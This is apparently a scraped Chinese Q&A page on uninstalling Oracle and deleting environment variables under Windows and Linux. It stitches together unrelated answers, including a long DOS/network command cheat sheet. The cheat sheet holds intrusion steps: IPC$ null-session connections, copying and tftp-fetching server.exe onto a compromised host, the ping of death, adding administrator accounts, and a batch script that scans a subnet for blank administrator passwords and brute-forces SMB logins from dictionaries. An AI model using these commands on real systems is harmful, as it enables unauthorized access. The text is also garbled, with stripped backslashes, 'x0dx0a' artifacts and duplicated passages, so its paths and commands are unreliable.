Windows下如何彻底删除Oracle

删除环境变量 unset unset my_variable 在涉及环境变量名时，什么时候该使用 ，实在让人摸不着头脑。 记住一点就行了：如果要用到变量，使用 。这条规则的一个例外就是使用printenv显示某个变量的值。 在处理全局环境变量时，事情就有点棘手了。如果你是在子进程中删除了一个全局环境变量，这只对子进程有效。该全局环境变量在父进程中依然可用。

一是Library中的python(即环境变量) ,二是Application中的python ,三是清除指向python的链接。故步骤分为如下三步: ## ...2.检查python是否已删除干净 使用where命令进行检查 whereispython 1 若只显示python2.7...3.mac的环境变量在何处 用户设置的mac的环境变量在如下目录 vim~/.bash

1、在我的电脑图标中右键属性调出系统属性窗口2、在系统属性窗口中找到高级选择卡3、在高级选项卡中找到环境变量按扭并单击打开4、在弹出的环境变量窗口中，在系统变量(S)下的框框中找到并单击选择Path变量名，然后点编辑(N)按扭5、选择变量名为Path的编辑之后，会弹出编辑窗口6、将变量值复制出来然后修改为：%SystemRoot%system32;%SystemRoot%;%SystemRoot%System32Wbem在粘贴会变量值文本框中7、点击确定按钮，关闭属性窗口即可

win7系统怎么删除环境变量右击“我的电脑”，选择“属性”　　在打开的页面“控制面板主页”下找到并打开“高级系统配置”。点击“高级系统配置”，打开“系统属性”窗口。　　在“系统属性”页面点击“环境变量”　　建议修改系统变量而不是某个 用户独有的环境变量。　　在系统变量显示框中找到变量“Path"，选中并点击"编辑"进行修改。　　在弹出的编辑系统变量页面，修改变量值。将要执行命令所在的目录绝对路径加到原来的路径之后，路径与路径通过”；“分号分隔　　编辑完变量值之后点击"确定"按钮，完成环境变量的修改　　注意事项　　环境变量修改后，可能没有立即生效。这时候命令行窗口重启下即可。

在Python中更改环境变量可以使用`os.environ`模块。可以使用以下代码将环境变量设置为指定值：```pythonimport osos.environ["MY_ENV_VAR"] = "my_value"```此代码将名为`MY_ENV_VAR`的环境变量设置为`my_value`。如果环境变量不存在，则会创建该变量。如果要删除环境变量，可以使用以下代码：```pythonimport osif "MY_ENV_VAR" in os.environ: del os.environ["MY_ENV_VAR"]```此代码将检查是否存在名为`MY_ENV_VAR`的环境变量，如果存在，则将其删除。请注意，这只会在当前进程中删除环境变量，而不会影响其他进程或持久存储。

CMD中运行 set path==%path%;d:/mypath 用 set path可以查看，当前的环境变量 方法二 ：批处理中，修改环境变量，永久有效 ::更改path环境变量值,新增e: ools wmic ENVIRONMENT where "name="path" and username="<system>"" set VariableValue="%path%;e: ools" 另外介绍些关于wminc的用法（简单又实用） ::获取temp环境变量 wmic ENVIRONMENT where "name="temp"" get UserName,VariableValue ::新增系统环境变量home,值为%HOMEDRIVE%%HOMEPATH% wmic ENVIRONMENT create name="home",username="<system>",VariableValue="%HOMEDRIVE%%HOMEPATH%" ::删除home环境变量 wmic ENVIRONMENT where "name="home"" delete ::获取temp环境变量 wmic ENVIRONMENT where "name="temp"" get UserName,VariableValue ::更改path环境变量值,新增e: ools wmic ENVIRONMENT where "name="path" and username="<system>"" set VariableValue="%path%;e: ools" ::新增系统环境变量home,值为%HOMEDRIVE%%HOMEPATH% wmic ENVIRONMENT create name="home",username="<system>",VariableValue="%HOMEDRIVE%%HOMEPATH%" ::删除home环境变量 wmic ENVIRONMENT where "name="home"" delete 一般来说,wmic创建或修改的系统变量不用重启windows生效,但如果你发现在DOS窗下检测不生效的话,你试着关闭 DOS窗,再检测一次.就生效了. 如果你的批处理想不关闭而直接让新的变量给下级程序应用可以这样写 view plaincopy to clipboardprint? ::检查path中有没有e: ools(有就跳到run，没有就接着执行) echo %path%|findstr /i "e: ools"&&(goto run) ::先添加，防止没有时修改出错 wmic ENVIRONMENT create name="path",VariableValue="e: ools;%path%" ::再修改，防止已有时添加出错 wmic ENVIRONMENT where "name="path" and username="<system>"" set VariableValue="e: ools;%path%" ::再即时应用 set "path=e: ools;%path%" :run start 程序.exe ::检查path中有没有e: ools(有就跳到run，没有就接着执行) echo %path%|findstr /i "e: ools"&&(goto run) ::先添加，防止没有时修改出错 wmic ENVIRONMENT create name="path",VariableValue="e: ools;%path%" ::再修改，防止已有时添加出错 wmic ENVIRONMENT where "name="path" and username="<system>"" set VariableValue="e: ools;%path%" ::再即时应用 set "path=e: ools;%path%" :run start 程序.exe

set 变量名=等号后不加任何东西这样就可以删了

请给出实例使用unset命令,例如要清除path变量,可以如下:unsetpath。如果你还有什么不懂的就去看看《linux就该这么学》这本书

Linux设置/删除环境变量方法：bash下设置：export 变量名=变量值删除：unset 变量名csh下设置：setenv 变量名 变量值删除：unsetenv 变量名

set test=这样输入就可以了

oracle10g 卸载 　　软件环境：　　1、Windows XP + Oracle 10g　　2、Oracle安装路径为：d:Oracle　　实现方法：　　1、开始－＞设置－＞控制面板－＞管理工具－＞服务停止所有Oracle服务；　　2、开始－＞程序－＞Oracle – OraDb10g_home1＞Oracle Installation Products－＞ Universal Installer 卸装所有Oracle产品，但Universal Installer本身不能被删除；　　3、运行regedit，选择HKEY_LOCAL_MACHINESOFTWAREORACLE，按del键删除这个入口；　　4、运行regedit，选择HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices，滚动这个列表，删除所有Oracle入口；　　5、运行refedit，选择HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesEventlogApplication，删除所有Oracle入口；　　6、开始－＞设置－＞控制面板－＞系统－＞高级－＞环境变量,删除环境变量CLASSPATH和PATH中有关Oracle的设定；　　7、从桌面上、STARTUP（启动）组、程序菜单中，删除所有有关Oracle的组和图标；　　8、删除c:Program FilesOracle目录；　　9、重新启动计算机，重起后才能完全删除Oracle所在目录 ；　　10、删除与Oracle有关的文件，选择Oracle所在的缺省目录C:Oracle，删除这个入口目录及所有子目录，并从Windows XP目录（一般为d:WINDOWS）下删除以下文件ORACLE.INI、oradim73.INI、oradim80.INI、 oraodbc.ini等等；　　11、WIN.INI文件中若有[ORACLE]的标记段，删除该段；　　12、如有必要，删除所有Oracle相关的ODBC的DSN；　　13、到事件查看器中，删除Oracle相关的日志 说明：如果有个别DLL文件无法删除的情况，则不用理会，重新启动，开始新的安装，安装时，选择一个新的目录，则，安装完毕并重新启动后，老的目录及文件就可以删除掉了。

删除这一部分即可D:appAdministratorproduct11.2.0dbhome_1in;

1.关闭oracle所有的服务。可以在windows的服务管理器中关闭；x0dx0ax0dx0a 2.打开注册表：regedit 打开路径：x0dx0a HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices x0dx0a 删除该路径下的所有以oracle开始的服务名称，这个键是标识Oracle在windows下注册的各种服务！x0dx0a x0dx0a 3.打开注册表，找到路径：x0dx0a HKEY_LOCAL_MACHINESOFTWAREORACLEx0dx0a 删除该oracle目录，该目录下注册着Oracle数据库的软件安装信息。x0dx0a x0dx0a 4.删除注册的oracle事件日志，打开注册表x0dx0a HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesEventlogApplicationx0dx0a 删除注册表的以oracle开头的所有项目。x0dx0a x0dx0a 5.删除环境变量path中关于oracle的内容。x0dx0a 鼠标右键右单击“我的电脑-->属性-->高级-->环境变量-->PATH 变量。x0dx0a 删除Oracle在该值中的内容。注意:path中记录着一堆操作系统的目录，在windows中各个目录之间使用分号（;）隔开的，删除时注意。x0dx0a 建议：删除PATH环境变量中关于Oracle的值时，将该值全部拷贝到文本编辑器中，找到对应的Oracle的值，删除后，再拷贝修改的串，粘贴到PATH环境变量中，这样相对而言比较安全。x0dx0a x0dx0a 6.重新启动操作系统。x0dx0a 以上1~5个步骤操作完毕后，重新启动操作系统。x0dx0a x0dx0a 7.重启操作系统后各种Oracle相关的进程都不会加载了。这时删除Oracle_Home下的所有数据。（Oracle_Home指Oracle程序的安装目录）x0dx0a x0dx0a 8.删除C:Program Files下oracle目录。x0dx0a （该目录视Oracle安装所在路径而定）x0dx0a x0dx0a 9.删除开始菜单下oracle项，如：x0dx0a C:Documents and SettingsAll Users「开始」菜单程序Oracle - Ora10gx0dx0a 不同的安装这个目录稍有不同。x0dx0a 如果不删除开始菜单下的Oracle相关菜单目录，没关系，这个不影响再次安装Oracle.当再次安装Oracle时，该菜单会被替换。x0dx0a x0dx0a 至此，Windows平台下Oracle就彻底卸载了。

直接删除，就可以了。

我的操作是这样的，仅供参考。比如环境变量 serverip，我输入错误为setverip解答：setenv setverip=none 即可删除。或者你uboot下输入命令：help 查看是否有删除环境变量的指令。

你好！如果是打开命令符设置的，这个是临时的，你只要关闭命令符窗口你所设置的变量会自动删除如果对你有帮助，望采纳。

set 变量名=等号后不加任何东西这样就可以删了

按变量的生存周期来划分，Linux变量可分为两类，它们的修改方法如下：（1）永久的：需要修改配置文件，变量永久生效。常见的配置文件包括：（1-1）/etc/profile：对所有用户生效；此文件为系统的每个用户设置环境信息,当用户第一次登录时,该文件被执行；并从/etc/profile.d目录的配置文件中搜集shell的设置例如：编辑/etc/profile文件，添加CLASSPATH变量# vi /etc/profile添加一行：export CLASSPATH=./JAVA_HOME/lib;$JAVA_HOME/jre/lib修改后需要执行重新登录才能生效，也可以执行命令source /etc/profile来生效（1-2）/etc/bashrc：对所有用户生效；为每一个运行bash shell的用户执行此文件.当bash shell被打开时,该文件被读取编辑方法如上，不再赘述（1-3）~/.bash_profile：仅会对当前用户有效；每个用户都可使用该文件输入专用于自己使用的shell信息,当用户登录时,该文件仅仅执行一次例如：编辑guok用户目录(/home/guok)下的.bash_profile$ vi /home/guok/.bash.profile添加如下内容：export CLASSPATH=./JAVA_HOME/lib;$JAVA_HOME/jre/lib修改后需要执行重新登录才能生效，也可以执行命令source /etc/profile来生效（1-4）~/.bashrc：仅会对当前用户有效；该文件包含专用于你的bash shell的bash信息,当登录时以及每次打开新的shell时,该该文件被读取编辑方法如上，不再赘述另外，~/.bashrc等中设定的变量(局部)只能继承/etc/profile中的变量,他们是"父子"关系综述，对上述文件修改，添加你需要的变量，在启动一个shell（终端，terminal）时，你所定义的变量均会生效的。（2）临时的：使用export命令声明即可，变量只在当前的shell(BASH)或其子shell(BASH)下是有效的,在关闭shell后失效，再打开新shell时就没有这个变量，需要使用的话还需要重新定义在shell的命令行下直接使用[export 变量名=变量值] 定义变量环境变量的查看（1）使用echo命令查看单个环境变量。例如：echo $PATH（2）使用env查看所有环境变量。例如：env（3）使用set查看所有本地定义的环境变量。例如：set另外，unset可以删除指定的环境变量。常用的环境变量PATH 决定了shell将到哪些目录中寻找命令或程序HOME 当前用户主目录HISTSIZE　历史记录数LOGNAME 当前用户的登录名HOSTNAME　指主机的名称SHELL 当前用户Shell类型LANGUGE 　语言相关的环境变量，多语言可以修改此环境变量MAIL　当前用户的邮件存放目录PS1　基本提示符，对于root用户是#，对于普通用户是$

如何删除oracle的环境变量删除这一部分即可 D:appAdministratorproduct11.2.0dbhome_1in;

在“运行”中输入CMD，调出DOSnet use $">\ipipc$ " " /user:" " 建立IPC空链接net use $">\ipipc$ "密码" /user:"用户名" 建立IPC非空链接net use h: $">\ipc$ "密码" /user:"用户名" 直接登陆后映射对方C：到本地为H:net use h: $">\ipc$ 登陆后映射对方C：到本地为H:net use $">\ipipc$ /del 删除IPC链接net use h: /del 删除映射对方到本地的为H:的映射net user 用户名 密码 /add 建立用户net user guest /active:yes 激活guest用户net user 查看有哪些用户net user 帐户名 查看帐户的属性net localgroup administrators 用户名 /add 把“用户”添加到管理员中使其具有管理员权限,注意：administrator后加s用复数net start 查看开启了哪些服务net start 服务名 开启服务；(如:net start telnet， net start schedule)net stop 服务名 停止某服务net time \目标ip 查看对方时间net time \目标ip /set 设置本地计算机时间与“目标IP”主机的时间同步,加上参数/yes可取消确认信息net view 查看本地局域网内开启了哪些共享net view \ip 查看对方局域网内开启了哪些共享net config 显示系统网络设置net logoff 断开连接的共享net pause 服务名 暂停某服务net send ip "文本信息" 向对方发信息net ver 局域网内正在使用的网络连接类型和信息net share 查看本地开启的共享net share ipc$ 开启ipc$共享net share ipc$ /del 删除ipc$共享net share c$ /del 删除C：共享net user guest 12345 用guest用户登陆后用将密码改为12345net password 密码 更改系统登陆密码netstat -a 查看开启了哪些端口,常用netstat -annetstat -n 查看端口的网络连接情况，常用netstat -annetstat -v 查看正在进行的工作netstat -p 协议名 例：netstat -p tcq/ip 查看某协议使用情况（查看tcp/ip协议使用情况）netstat -s 查看正在使用的所有协议使用情况nbtstat -A ip 对方136到139其中一个端口开了的话，就可查看对方最近登陆的用户名（03前的为用户名）-注意：参数-A要大写tracert -参数 ip(或计算机名) 跟踪路由（数据包），参数：“-w数字”用于设置超时间隔。ping ip(或域名) 向对方主机发送默认大小为32字节的数据，参数：“-l[空格]数据包大小”；“-n发送数据次数”；“-t”指一直ping。ping -t -l 65550 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping)ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址，ipconfig可用参数“/all”显示全部配置信息tlist -t 以树行列表显示进程(为系统的附加工具，默认是没有安装的，在安装目录的Support/tools文件夹内)kill -F 进程名 加-F参数后强制结束某进程(为系统的附加工具，默认是没有安装的，在安装目录的Support/tools文件夹内)del -F 文件名加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件，/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如“DEL/AR *.*”表示删除当前目录下所有只读文件，“DEL/A-S *.*”表示删除当前目录下除系统文件以外的所有文件del /S /Q 目录 或用：rmdir /s /Q 目录 /S删除目录及目录下的所有子目录和文件。同时使用参数/Q 可取消删除操作时的系统确认就直接删除。（二个命令作用相同）move 盘符路径要移动的文件名 存放移动文件的路径移动后文件名 移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖fc one.txt two.txt > 3st.txt 对比二个文件并把不同之处输出到3st.txt文件中，"> "和"> >" 是重定向命令at id号 开启已注册的某个计划任务at /delete 停止所有计划任务，用参数/yes则不需要确认就直接停止at id号 /delete 停止某个已注册的计划任务at 查看所有的计划任务at \ip time 程序名(或一个命令) /r 在某时间运行对方某程序并重新启动计算机finger username @host 查看最近有哪些用户登陆telnet ip 端口 远和登陆服务器,默认端口为23open ip 连接到IP（属telnet登陆后的命令）telnet 在本机上直接键入telnet 将进入本机的telnetcopy 路径文件名1 路径文件名2 /y 复制文件1到指定的目录为文件2，用参数/y就同时取消确认你要改写一份现存目录文件copy c:srv.exe $">\ipadmin$ 复制本地c:srv.exe到对方的admin下cppy 1st.jpg/b+2st.txt/a 3st.jpg 将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件，注：2st.txt文件头要空三排，参数：/b指二进制文件，/a指ASCLL格式文件copy $svv.exe">\ipadmin$svv.exe c: 或:copy\ipadmin$*.* 复制对方admini$共享下的srv.exe文件（所有文件）至本地C：xcopy 要复制的文件或目录树 目标地址目录名 复制文件和目录树，用参数/Y将不提示覆盖相同文件tftp -i 自己IP(用肉机作跳板时这用肉机IP) get server.exe c:server.exe 登陆后，将“IP”的server.exe下载到目标主机c:server.exe 参数：-i指以二进制模式传送，如传送exe文件时用，如不加-i 则以ASCII模式（传送文本文件模式）进行传送tftp -i 对方IP put c:server.exe 登陆后，上传本地c:server.exe至主机ftp ip 端口 用于上传文件至服务器或进行文件操作，默认端口为21。bin指用二进制方式传送（可执行文件进）；默认为ASCII格式传送(文本文件时)route print 显示出IP路由，将主要显示网络地址Network addres，子网掩码Netmask，网关地址Gateway addres，接口地址Interfacearp 查看和处理ARP缓存，ARP是名字解析的意思，负责把一个IP解析成一个物理性的MAC地址。arp -a将显示出全部信息start 程序名或命令 /max 或/min 新开一个新窗口并最大化（最小化）运行某程序或命令mem 查看cpu使用情况attrib 文件名(目录名) 查看某文件（目录）的属性attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存档，只读，系统，隐藏 属性；用＋则是添加为某属性dir 查看文件，参数：/Q显示文件及目录属系统哪个用户，/T:C显示文件创建时间，/T:A显示文件上次被访问时间，/T:W上次被修改时间date /t 、 time /t 使用此参数即“DATE/T”、“TIME/T”将只显示当前日期和时间，而不必输入新日期和时间set 指定环境变量名称=要指派给变量的字符 设置环境变量set 显示当前所有的环境变量set p(或其它字符) 显示出当前以字符p(或其它字符)开头的所有环境变量pause 暂停批处理程序，并显示出：请按任意键继续....if 在批处理程序中执行条件处理（更多说明见if命令及变量）goto 标签 将cmd.exe导向到批处理程序中带标签的行（标签必须单独一行，且以冒号打头，例如：“：start”标签）call 路径批处理文件名 从批处理程序中调用另一个批处理程序 （更多说明见call /?）for 对一组文件中的每一个文件执行某个特定命令（更多说明见for命令及变量）echo on或off 打开或关闭echo，仅用echo不加参数则显示当前echo设置echo 信息 在屏幕上显示出信息echo 信息 >> pass.txt 将"信息"保存到pass.txt文件中findstr "Hello" aa.txt 在aa.txt文件中寻找字符串hellofind 文件名 查找某文件title 标题名字 更改CMD窗口标题名字color 颜色值 设置cmd控制台前景和背景颜色；0＝黑、1＝蓝、2＝绿、3＝浅绿、4＝红、5＝紫、6＝黄、7=白、8=灰、9=淡蓝、A＝淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白prompt 名称 更改cmd.exe的显示的命令提示符(把C:、D:统一改为：EntSky )print 文件名 打印文本文件ver 在DOS窗口下显示版本信息winver 弹出一个窗口显示版本信息（内存大小、系统版本、补丁版本、计算机名）format 盘符 /FS:类型 格式化磁盘,类型:FAT、FAT32、NTFS ,例：Format D: /FS:NTFSmd 目录名 创建目录replace 源文件 要替换文件的目录 替换文件ren 原文件名 新文件名 重命名文件名tree 以树形结构显示出目录，用参数-f 将列出第个文件夹中文件名称type 文件名 显示文本文件的内容more 文件名 逐屏显示输出文件doskey 要锁定的命令＝字符doskey 要解锁命令= 为DOS提供的锁定命令(编辑命令行，重新调用win2k命令，并创建宏)。如：锁定dir命令：doskey dir=entsky (不能用doskey dir=dir)；解锁：doskey dir=taskmgr 调出任务管理器chkdsk /F D: 检查磁盘D并显示状态报告；加参数/f并修复磁盘上的错误tlntadmn telnt服务admn,键入tlntadmn选择3，再选择8,就可以更改telnet服务默认端口23为其它任何端口exit 退出cmd.exe程序或目前，用参数/B则是退出当前批处理脚本而不是cmd.exepath 路径可执行文件的文件名 为可执行文件设置一个路径。cmd 启动一个win2K命令解释窗口。参数：/eff、/en 关闭、开启命令扩展；更我详细说明见cmd /?regedit /s 注册表文件名 导入注册表；参数/S指安静模式导入，无任何提示；regedit /e 注册表文件名 导出注册表cacls 文件名 参数 显示或修改文件访问控制列表（ACL）——针对NTFS格式时。参数：/D 用户名:设定拒绝某用户访问；/P 用户名:perm 替换指定用户的访问权限；/G 用户名:perm 赋予指定用户访问权限；Perm 可以是: N 无，R 读取， W 写入， C 更改(写入)，F 完全控制；例：cacls D: est.txt /D pub 设定d: est.txt拒绝pub用户访问。cacls 文件名 查看文件的访问用户权限列表REM 文本内容 在批处理文件中添加注解netsh 查看或更改本地网络配置情况IIS服务命令：iisreset /reboot 重启win2k计算机（但有提示系统将重启信息出现）iisreset /start或stop 启动（停止）所有Internet服务iisreset /restart 停止然后重新启动所有Internet服务iisreset /status 显示所有Internet服务状态iisreset /enable或disable 在本地系统上启用（禁用）Internet服务的重新启动iisreset /rebootonerror 当启动、停止或重新启动Internet服务时，若发生错误将重新开机iisreset /noforce 若无法停止Internet服务，将不会强制终止Internet服务iisreset /timeout Val在到达逾时间（秒）时，仍未停止Internet服务，若指定/rebootonerror参数，则电脑将会重新开机。预设值为重新启动20秒，停止60秒，重新开机0秒。FTP 命令： (后面有详细说明内容)ftp的命令行格式为:ftp －v －d －i －n －g[主机名] －v 显示远程服务器的所有响应信息。－d 使用调试方式。－n 限制ftp的自动登录,即不使用.netrc文件。－g 取消全局文件名。help [命令] 或 ？[命令] 查看命令说明bye 或 quit 终止主机FTP进程,并退出FTP管理方式.pwd 列出当前远端主机目录put 或 send 本地文件名 [上传到主机上的文件名] 将本地一个文件传送至远端主机中get 或 recv [远程主机文件名] [下载到本地后的文件名] 从远端主机中传送至本地主机中mget [remote-files] 从远端主机接收一批文件至本地主机mput local-files 将本地主机中一批文件传送至远端主机dir 或 ls [remote-directory] [local-file] 列出当前远端主机目录中的文件.如果有本地文件,就将结果写至本地文件ascii 设定以ASCII方式传送文件(缺省值)bin 或 image 设定以二进制方式传送文件bell 每完成一次文件传送,报警提示cdup 返回上一级目录close 中断与远程服务器的ftp会话(与open对应)open host[port] 建立指定ftp服务器连接,可指定连接端口delete 删除远端主机中的文件mdelete [remote-files] 删除一批文件mkdir directory-name 在远端主机中建立目录rename [from] [to] 改变远端主机中的文件名rmdir directory-name 删除远端主机中的目录status 显示当前FTP的状态system 显示远端主机系统类型user user-name [password] [account] 重新以别的用户名登录远端主机open host [port] 重新建立一个新的连接prompt 交互提示模式macdef 定义宏命令lcd 改变当前本地主机的工作目录,如果缺省,就转到当前用户的HOME目录chmod 改变远端主机的文件权限case 当为ON时,用MGET命令拷贝的文件名到本地机器中,全部转换为小写字母cd remote－dir 进入远程主机目录cdup 进入远程主机目录的父目录! 在本地机中执行交互shell，exit回到ftp环境,如!ls＊.zipMYSQL 命令：mysql -h主机地址 -u用户名 －p密码 连接MYSQL;如果刚安装好MYSQL，超级用户root是没有密码的。（例：mysql -h110.110.110.110 -Uroot -P123456注:u与root可以不用加空格，其它也一样）exit 退出MYSQLmysqladmin -u用户名 -p旧密码 password 新密码 修改密码grant select on 数据库.* to 用户名@登录主机 identified by "密码"; 增加新用户。（注意：和上面不同，下面的因为是MYSQL环境中的命令，所以后面都带一个分号作为命令结束符）show databases; 显示数据库列表。刚开始时才两个数据库：mysql和test。mysql库很重要它里面有MYSQL的系统信息，我们改密码和新增用户，实际上就是用这个库进行操作。use mysql；show tables; 显示库中的数据表describe 表名; 显示数据表的结构create database 库名; 建库use 库名；create table 表名 (字段设定列表)； 建表drop database 库名;drop table 表名； 删库和删表delete from 表名; 将表中记录清空select * from 表名; 显示表中的记录mysqldump --opt school>school.bbb 备份数据库：（命令在DOS的\mysql\bin目录下执行）;注释:将数据库school备份到school.bbb文件，school.bbb 是一个文本文件，文件名任取，打开看看你会有新发现。win2003系统下新增命令（实用部份）：shutdown /参数 关闭或重启本地或远程主机。参数说明：/S 关闭主机，/R 重启主机， /T 数字 设定延时的时间，范围0～180秒之间， /A取消开机，/M //IP 指定的远程主机。例：shutdown /r /t 0 立即重启本地主机（无延时）taskill /参数 进程名或进程的pid 终止一个或多个任务和进程。参数说明：/PID 要终止进程的pid,可用tasklist命令获得各进程的pid，/IM 要终止的进程的进程名，/F 强制终止进程，/T 终止指定的进程及他所启动的子进程。tasklist 显示当前运行在本地和远程主机上的进程、服务、服务各进程的进程标识符(PID)。参数说明：/M 列出当前进程加载的dll文件，/SVC 显示出每个进程对应的服务，无参数时就只列出当前的进程。Linux系统下基本命令： 要区分大小写uname 显示版本信息（同win2K的 ver）dir 显示当前目录文件,ls -al 显示包括隐藏文件（同win2K的 dir）pwd 查询当前所在的目录位置cd cd ..回到上一层目录，注意cd 与..之间有空格。cd /返回到根目录。cat 文件名 查看文件内容cat >abc.txt 往abc.txt文件中写上内容。more 文件名 以一页一页的方式显示一个文本文件。cp 复制文件mv 移动文件rm 文件名 删除文件，rm -a 目录名删除目录及子目录mkdir 目录名 建立目录rmdir 删除子目录，目录内没有文档。chmod 设定档案或目录的存取权限grep 在档案中查找字符串diff 档案文件比较find 档案搜寻date 现在的日期、时间who 查询目前和你使用同一台机器的人以及Login时间地点w 查询目前上机者的详细资料whoami 查看自己的帐号名称groups 查看某人的Grouppasswd 更改密码history 查看自己下过的命令ps 显示进程状态kill 停止某进程gcc 黑客通常用它来编译C语言写的文件su 权限转换为指定使用者telnet IP telnet连接对方主机（同win2K），当出现bash$时就说明连接成功。ftp ftp连接上某服务器（同win2K）附：批处理命令与变量1：for命令及变量 基本格式：FOR /参数 %variable IN (set) DO command [command_parameters] %variable:指定一个单一字母可替换的参数，如：%i ，而指定一个变量则用：%%i ，而调用变量时用：%i% ，变量是区分大小写的（%i 不等于 %I）。批处理每次能处理的变量从%0—%9共10个，其中%0默认给批处理文件名使用，%1默认为使用此批处理时输入的的第一个值，同理：%2—% 9指输入的第2-9个值；例：net use $">\ipipc$ pass /user:user 中ip为%1,pass为%2 ,user为%3(set):指定一个或一组文件，可使用通配符，如：(D:user.txt)和(1 1 254)(1 -1 254),{“(1 1 254)”第一个"1"指起始值，第二个"1"指增长量，第三个"254"指结束值，即：从1到254；“(1 -1 254)”说明：即从254到1}command：指定对第个文件执行的命令，如：net use命令；如要执行多个命令时，命令这间加：& 来隔开command_parameters：为特定命令指定参数或命令行开关IN (set)：指在(set)中取值；DO command ：指执行command参数：/L 指用增量形式{(set)为增量形式时}；/F 指从文件中不断取值，直到取完为止{(set)为文件时，如(d:pass.txt)时}。用法举例：@echo offecho 用法格式：test.bat *.*.* > test.txtfor /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use \%1.%%G /user:administrator | find "命令成功完成" >>test.txt存为test.bat 说明：对指定的一个C类网段的254个IP依次试建立administrator密码为空的IPC$连接，如果成功就把该IP存在test.txt中。/L指用增量形式（即从1-254或254-1）；输入的IP前面三位：*.*.*为批处理默认的 %1；%%G 为变量(ip的最后一位）；& 用来隔开echo 和net use 这二个命令；| 指建立了ipc$后，在结果中用find查看是否有"命令成功完成"信息；%1.%%G 为完整的IP地址；(1 1 254) 指起始值，增长量，结止值。@echo offecho 用法格式：ok.bat ipFOR /F %%i IN (D:user.dic) DO smb.exe %1 %%i D:pass.dic 200存为：ok.exe 说明：输入一个IP后，用字典文件d:pass.dic来暴解d:user.dic中的用户密码，直到文件中值取完为止。%%i为用户名；%1为输入的IP地址（默认）。

重新下载一个oracle

DOS命令大全一）MD——建立子目录 1．功能：创建新的子目录 2．类型：内部命令 3．格式：MD[盘符：][路径名]〈子目录名〉 4．使用说明： （1）“盘符”：指定要建立子目录的磁盘驱动器字母，若省略，则为当前驱动器； （2）“路径名”：要建立的子目录的上级目录名，若缺省则建在当前目录下。 例：（1）在C盘的根目录下创建名为FOX的子目录；（2）在FOX子目录下再创建USER子目录。 C：、＞MD FOX （在当前驱动器C盘下创建子目录FOX） C：、＞MD FOX 、USER （在FOX 子目录下再创建USER子目录） （二）CD——改变当前目录 1．功能：显示当前目录 2．类型：内部命令 3．格式：CD[盘符：][路径名][子目录名] 4．使用说明： （1）如果省略路径和子目录名则显示当前目录； （2）如采用“CD、”格式，则退回到根目录； （3）如采用“CD.。”格式则退回到上一级目录。 例：（1）进入到USER子目录；（2）从USER子目录退回到子目录；（3）返回到根目录。 C:、＞CD FOX 、USER（进入FOX子目录下的USER子目录） C:、FOX、USER＞CD.。 （退回上一级根目录） C：、FOX＞CD、 （返回到根目录） C：、＞ （三）RD——删除子目录命令 1．功能：从指定的磁盘删除了目录。 2．类型：内部命令 3．格式：RD[盘符：][路径名][子目录名] 4．使用说明： （1）子目录在删除前必须是空的，也就是说需要先进入该子目录，使用DEL（删除文件的命令）将其子目录下的文件删空，然后再退回到上一级目录，用RD命令删除该了目录本身； （2）不能删除根目录和当前目录。 例：要求把C盘FOX子目录下的USER子目录删除，操作如下： 第一步：先将USER子目录下的文件删空； C、＞DEL C：、FOX、USER、*。* 第二步，删除USER子目录。 C、＞RD C：、FOX、USER （四）DIR——显示磁盘目录命令 1．功能：显示磁盘目录的内容。 2．类型：内部命令 3．格式：DIR [盘符][路径][/P][/W] 4．使用说明：/P的使用；当欲查看的目录太多，无法在一屏显示完屏幕会一直往上卷，不容易看清，加上/P参数后，屏幕上会分面一次显示23行的文件信息，然后暂停，并提示；Pressany key to continue /W的使用：加上/W只显示文件名，至于文件大小及建立的日期和时间则都省略。加上参数后，每行可以显示五个文件名。 PATH——路径设置命令 1．功能：设备可执行文件的搜索路径，只对文件有效。 2．类型：内部命令 3．格式：PATH[盘符1]目录[路径名1]{[；盘符2：]，〈目录路径名2〉…} 4．使用说明： （1）当运行一个可执行文件时，DOS会先在当前目录中搜索该文件，若找到则运行之；若找不到该文件，则根据PATH命令所设置的路径，顺序逐条地到目录中搜索该文件； （2）PATH命令中的路径，若有两条以上，各路径之间以一个分号“；”隔开； （3）PATH命令有三种使用方法： PATH[盘符1：][路径1][盘符2：][路径2]…（设定可执行文件的搜索路径） PATH：（取消所有路径） PATH：（显示目前所设的路径） （六）TREE——显示磁盘目录结构命令 1．功能：显示指定驱动器上所有目录路径和这些目录下的所有文件名。 2．类型：外部命令 3．格式：TREE[盘符：][/F][》PRN] 4．使用说明： （1）使用/F参数时显示所有目录及目录下的所有文件，省略时，只显示目录，不显示目录下的文件； （2）选用＞PRN参数时，则把所列目录及目录中的文件名打印输出。 （七）DELTREE——删除整个目录命令 1．功能：将整个目录及其下属子目录和文件删除。 2．类型：外部命令 3．格式：DELTREE[盘符：]〈路径名〉 4．使用说明：该命令可以一步就将目录及其下的所有文件、子目录、更下层的子目录一并删除，而且不管文件的属性为隐藏、系统或只读，只要该文件位于删除的目录之下，DELTREE都一视同仁，照删不误。使用时务必小心！！！ 五、磁盘操作类命令 （一）formAT——磁盘格式化命令 1．功能：对磁盘进行格式化，划分磁道和扇区；同时检查出整个磁盘上有无带缺陷的磁道，对坏道加注标记；建立目录区和文件分配表，使磁盘作好接收DOS的准备。 2．类型：外部命令 3．格式：formAT〈盘符：〉[/S][/4][/Q] 4．使用说明： （1）命令后的盘符不可缺省，若对硬盘进行格式化，则会如下列提示：WARNING:ALL DATA ON NON——REMOVABLE DISK DRIVE C:WILL BE LOST ！ Proceed with format (Y/N)？ （警告：所有数据在C盘上，将会丢失，确实要继续格式化吗？） （2）若是对软盘进行格式化，则会如下提示：Insert mew diskette for drive A; and press ENTER when ready… （在A驱中插入新盘，准备好后按回车键）。 